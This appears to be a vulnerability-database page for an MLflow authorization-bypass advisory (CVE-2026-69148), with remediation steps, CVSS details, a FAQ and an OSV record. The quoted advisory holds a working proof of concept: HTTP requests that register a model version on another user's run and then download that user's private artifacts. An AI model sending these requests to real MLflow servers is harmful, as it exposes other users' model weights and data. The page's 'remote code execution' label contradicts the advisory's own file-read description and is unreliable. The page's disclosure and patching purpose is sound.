Vulnerabilities in pkg:npm/mlflow

PACKAGE
Advisory Identifier: GHSA-gqch-g4w5-7qcw
Advisory Summary

CVE-2026-69148 is a HIGH (CVSS 7.1) remote code execution vulnerability (CWE-862: Missing Authorization) affecting MLflow libraries in the npm ecosystem. The issue involves createmodelversion source validation does not check read permission on referenced run_id. Remediation is available by upgrading affected packages to version 3.15.0.

2 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/mlflow

2 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/mlflow. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-gqch-g4w5-7qcw CVE-2026-69148 HIGH MLflow: CreateModelVersion source validation does not check READ permission on referenced run_id
GHSA-3p64-6gvh-82v5 CVE-2026-69146 MODERATE MLflow: LogInputs endpoint bypasses per-run UPDATE authorization in basic-auth

CVE-2026-69148 at a Glance

CVE Identifier CVE-2026-69148
GHSA Identifier GHSA-gqch-g4w5-7qcw
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-862: Missing Authorization
Affected Product MLflow
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-69148

To remediate this vulnerability, upgrade all affected MLflow dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mlflow fixed: 3.15.0
npm install mlflow@3.15.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls mlflow

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-69148, inspect your project dependencies using npm:

npm ls mlflow

Analyze the terminal output to locate any version of MLflow in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.15.0), your application is affected.

Note: The npm ls mlflow command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In MLflow, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `_validate_source_run` and `_validate_source_model` functions in `mlflow/server/handlers.py` verify that a model version source path is within the artifact directory of a specified run or logged model, but do not check whether the caller has READ permission on that run or model. An authenticated MLflow user can therefore reference another user's run_id in `CreateModelVersion`, creating a model version whose artifact URI points at the victim's artifact directory. If the calling user has MANAGE permission on the registered model (which they do after creation), they can then read arbitrary files from the victim's artifact directory via `GET /model-versions/get-artifact`, bypassing the experiment-level READ permission gate on `GET /get-artifact`. ### Details `POST /api/2.0/mlflow/model-versions/create` is protected: the caller must have UPDATE permission on the registered model. However, the source/run_id validation performed inside `_validate_source_run` only verifies path containment, not caller authorization: ```python # mlflow/server/handlers.py _validate_source_run() def _validate_source_run(source: str, run_id: str) -> None: if is_local_uri(source): if run_id: store = _get_tracking_store() run = store.get_run(run_id) # <-- no permission check on run_id source = pathlib.Path(local_file_uri_to_path(source)).resolve() if is_local_uri(run.info.artifact_uri): run_artifact_dir = pathlib.Path(...).resolve() if run_artifact_dir in [source, *source.parents]: return # validation passes raise MlflowException(...) ``` After creation, the model version's `source` and `run_id` point at the victim's artifact directory. The caller can read files from that directory via the model version artifact handler, which derives the artifact path from the stored `source`: ``` GET /model-versions/get-artifact?name=<model>&version=<v>&path=<file> ``` This bypass matters in deployments where experiment-level permissions are explicitly restricted -- i.e., where the default_permission is NO_PERMISSIONS or the target experiment has no grant for the attacker. Without the bypass, `GET /get-artifact` for the victim's run would return 403; via the model version artifact handler it returns 200. ### PoC Prerequisites: MLflow v3.13.0, `--app-name basic-auth`, default_permission=NO_PERMISSIONS (or alice's experiment restricted). Alice owns experiment 2 and run ALICE_RUN_ID. Bob owns experiment 4. Bob has READ on his own resources but NOT on alice's experiment. 1. Alice uploads a private file: ```bash # file is at /mlruns/2/ALICE_RUN_ID/artifacts/secret_weights.txt echo "ALICE_SECRET_MODEL_WEIGHTS=0.42" > secret_weights.txt ``` 2. Bob directly tries to read alice's artifact -- blocked: ``` GET /get-artifact?run_id=ALICE_RUN_ID&path=secret_weights.txt HTTP/1.1 Authorization: Basic <bob credentials> ``` Response: HTTP 403 (when alice's experiment is private) 3. Bob creates a model version referencing alice's run_id as source anchor: ``` POST /api/2.0/mlflow/model-versions/create HTTP/1.1 Authorization: Basic <bob credentials> Content-Type: application/json {"name":"bob-model","source":"/mlruns/2/ALICE_RUN_ID/artifacts","run_id":"ALICE_RUN_ID"} ``` Response: HTTP 200 ```json {"model_version":{"name":"bob-model","version":"1","source":"/mlruns/2/ALICE_RUN_ID/artifacts","run_id":"ALICE_RUN_ID"}} ``` 4. Bob reads alice's private file via the model version artifact handler: ``` GET /model-versions/get-artifact?name=bob-model&version=1&path=secret_weights.txt HTTP/1.1 Authorization: Basic <bob credentials> ``` Response: HTTP 200 -- body contains `ALICE_SECRET_MODEL_WEIGHTS=0.42` Live-validated on v3.13.0 with default_permission=READ (the file download is confirmed 200 OK); impact escalates to a true bypass when default_permission=NO_PERMISSIONS. ### Impact An authenticated user who can create registered models can read arbitrary files from any other user's artifact directory, bypassing the experiment-level READ permission gate. Model weights, training data samples, and evaluation reports stored in a run's artifact directory are accessible. The attacker needs UPDATE (or MANAGE) permission on at least one registered model; with default_permission=READ, that is automatically granted to the model creator.

CVE-2026-69148 Affected MLflow Versions

1 component(s)
Fixed Versions:
3.15.0
Product / Package Ecosystem Affected Versions Fixed Version
mlflow
npm
< 3.15.0
3.15.0

References

Frequently Asked Questions

What is CVE-2026-69148?
CVE-2026-69148 is a security vulnerability in MLflow involving CreateModelVersion source validation does not check READ permission on referenced run_id under CWE-862: Missing Authorization.
Which MLflow versions are affected?
Affected versions include releases prior to 3.15.0 across affected packages: mlflow.
What version fixes CVE-2026-69148?
Upgrading to 3.15.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mlflow affected?
Yes, mlflow is affected in releases prior to 3.15.0. Upgrade your dependency to 3.15.0 or later.
What is the CVSS score of CVE-2026-69148?
CVE-2026-69148 has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N.
What CWE is associated with CVE-2026-69148?
CVE-2026-69148 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check npm dependencies for CVE-2026-69148?
Run the dependency tree command: 'npm ls mlflow'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gqch-g4w5-7qcw",
  "modified" : "2026-08-17T21:59:09Z",
  "published" : "2026-08-17T21:59:09Z",
  "aliases" : [ "CVE-2026-69148" ],
  "summary" : "MLflow: CreateModelVersion source validation does not check READ permission on referenced run_id",
  "details" : "### Summary\n\nThe `_validate_source_run` and `_validate_source_model` functions in `mlflow/server/handlers.py` verify that a model version source path is within the artifact directory of a specified run or logged model, but do not check whether the caller has READ permission on that run or model. An authenticated MLflow user can therefore reference another user's run_id in `CreateModelVersion`, creating a model version whose artifact URI points at the victim's artifact directory. If the calling user has MANAGE permission on the registered model (which they do after creation), they can then read arbitrary files from the victim's artifact directory via `GET /model-versions/get-artifact`, bypassing the experiment-level READ permission gate on `GET /get-artifact`.\n\n### Details\n\n`POST /api/2.0/mlflow/model-versions/create` is protected: the caller must have UPDATE permission on the registered model. However, the source/run_id validation performed inside `_validate_source_run` only verifies path containment, not caller authorization:\n\n```python\n# mlflow/server/handlers.py  _validate_source_run()\ndef _validate_source_run(source: str, run_id: str) -> None:\n    if is_local_uri(source):\n        if run_id:\n            store = _get_tracking_store()\n            run = store.get_run(run_id)          # <-- no permission check on run_id\n            source = pathlib.Path(local_file_uri_to_path(source)).resolve()\n            if is_local_uri(run.info.artifact_uri):\n                run_artifact_dir = pathlib.Path(...).resolve()\n                if run_artifact_dir in [source, *source.parents]:\n                    return                       # validation passes\n        raise MlflowException(...)\n```\n\nAfter creation, the model version's `source` and `run_id` point at the victim's artifact directory. The caller can read files from that directory via the model version artifact handler, which derives the artifact path from the stored `source`:\n\n```\nGET /model-versions/get-artifact?name=<model>&version=<v>&path=<file>\n```\n\nThis bypass matters in deployments where experiment-level permissions are explicitly restricted -- i.e., where the default_permission is NO_PERMISSIONS or the target experiment has no grant for the attacker. Without the bypass, `GET /get-artifact` for the victim's run would return 403; via the model version artifact handler it returns 200.\n\n### PoC\n\nPrerequisites: MLflow v3.13.0, `--app-name basic-auth`, default_permission=NO_PERMISSIONS (or alice's experiment restricted). Alice owns experiment 2 and run ALICE_RUN_ID. Bob owns experiment 4. Bob has READ on his own resources but NOT on alice's experiment.\n\n1. Alice uploads a private file:\n\n```bash\n# file is at /mlruns/2/ALICE_RUN_ID/artifacts/secret_weights.txt\necho \"ALICE_SECRET_MODEL_WEIGHTS=0.42\" > secret_weights.txt\n```\n\n2. Bob directly tries to read alice's artifact -- blocked:\n\n```\nGET /get-artifact?run_id=ALICE_RUN_ID&path=secret_weights.txt HTTP/1.1\nAuthorization: Basic <bob credentials>\n```\n\nResponse: HTTP 403 (when alice's experiment is private)\n\n3. Bob creates a model version referencing alice's run_id as source anchor:\n\n```\nPOST /api/2.0/mlflow/model-versions/create HTTP/1.1\nAuthorization: Basic <bob credentials>\nContent-Type: application/json\n\n{\"name\":\"bob-model\",\"source\":\"/mlruns/2/ALICE_RUN_ID/artifacts\",\"run_id\":\"ALICE_RUN_ID\"}\n```\n\nResponse: HTTP 200\n```json\n{\"model_version\":{\"name\":\"bob-model\",\"version\":\"1\",\"source\":\"/mlruns/2/ALICE_RUN_ID/artifacts\",\"run_id\":\"ALICE_RUN_ID\"}}\n```\n\n4. Bob reads alice's private file via the model version artifact handler:\n\n```\nGET /model-versions/get-artifact?name=bob-model&version=1&path=secret_weights.txt HTTP/1.1\nAuthorization: Basic <bob credentials>\n```\n\nResponse: HTTP 200 -- body contains `ALICE_SECRET_MODEL_WEIGHTS=0.42`\n\nLive-validated on v3.13.0 with default_permission=READ (the file download is confirmed 200 OK); impact escalates to a true bypass when default_permission=NO_PERMISSIONS.\n\n### Impact\n\nAn authenticated user who can create registered models can read arbitrary files from any other user's artifact directory, bypassing the experiment-level READ permission gate. Model weights, training data samples, and evaluation reports stored in a run's artifact directory are accessible. The attacker needs UPDATE (or MANAGE) permission on at least one registered model; with default_permission=READ, that is automatically granted to the model creator.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "mlflow"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.15.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mlflow/mlflow/security/advisories/GHSA-gqch-g4w5-7qcw"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mlflow/mlflow/pull/24293"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mlflow/mlflow/commit/4bb7474771c3be808cd9e129defef9305f2869be"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mlflow/mlflow"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mlflow/mlflow/releases/tag/v3.15.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-17T21:59:09Z",
    "nvd_published_at" : null
  }
}